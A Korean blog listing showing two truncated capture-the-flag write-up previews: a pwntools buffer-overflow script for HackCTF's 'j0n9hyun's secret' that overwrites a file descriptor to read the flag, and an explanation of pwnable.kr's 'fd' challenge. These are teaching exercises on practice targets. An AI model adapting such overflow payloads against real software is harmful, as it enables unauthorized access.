FD(2)
-
HackCTF - j0n9hyun's secret
from pwn import * context.log_level = "debug" r = remote("ctf.j0n9hyun.xyz", 3031) #r = process("./j0n9hyun_secret") e = ELF("./j0n9hyun_secret") l = e.libc r.recv() pay = "" pay += "A"*0x138 pay += p8(3) r.sendline(pay) r.interactive() 페이로드는 위와 같이 풀었다. 바이너리가 다 깨져서 하나하나 어셈보고 풀이했다. 이렇게 어셈 정리해서 read부분에서 읽어올때 fd를 3으로 바꿔주면된다. 3으로 바꿔주는 이유는 이게 중간에 실행되는데 flag파일에 대한 fd가 3이고, top_secret에 대한 fd가 4여서 3으로 바..
2021.02.06 -
pwnable.kr - fd
처음으로 쓰는 pwnable.kr이다.처음에 pwnable.kr을 접했을때는 writeup을 보더라도 이게 무슨소리인이 몰랐다.하지만 LOB를 풀고 조금씩 공부를하고난뒤 이해가 되니 이제 pwnable.kr을 풀어보려고 한다. 먼저 접속을하자 :) 파일들을 확인한뒤 fd.c 라는 파일이 있으니 소스코드를 확인해보자 http://forum.falinux.com/zbxe/index.php?document_srl=466628&mid=C_LIB에서 raed함수에 대한 더 자세한 정보를 얻을 수 있다. fd는 파일디스크립터로 표준입력으로 넣어줘야 if문 안에서 직접 "LETMEWIN"을 넣어줄 수 있다.파일디스크립터의 표준입력은 "0" 이므로 argv[1] - 0x1234 = 0이 되어야만 한다. IF문으로 들어..
2018.07.09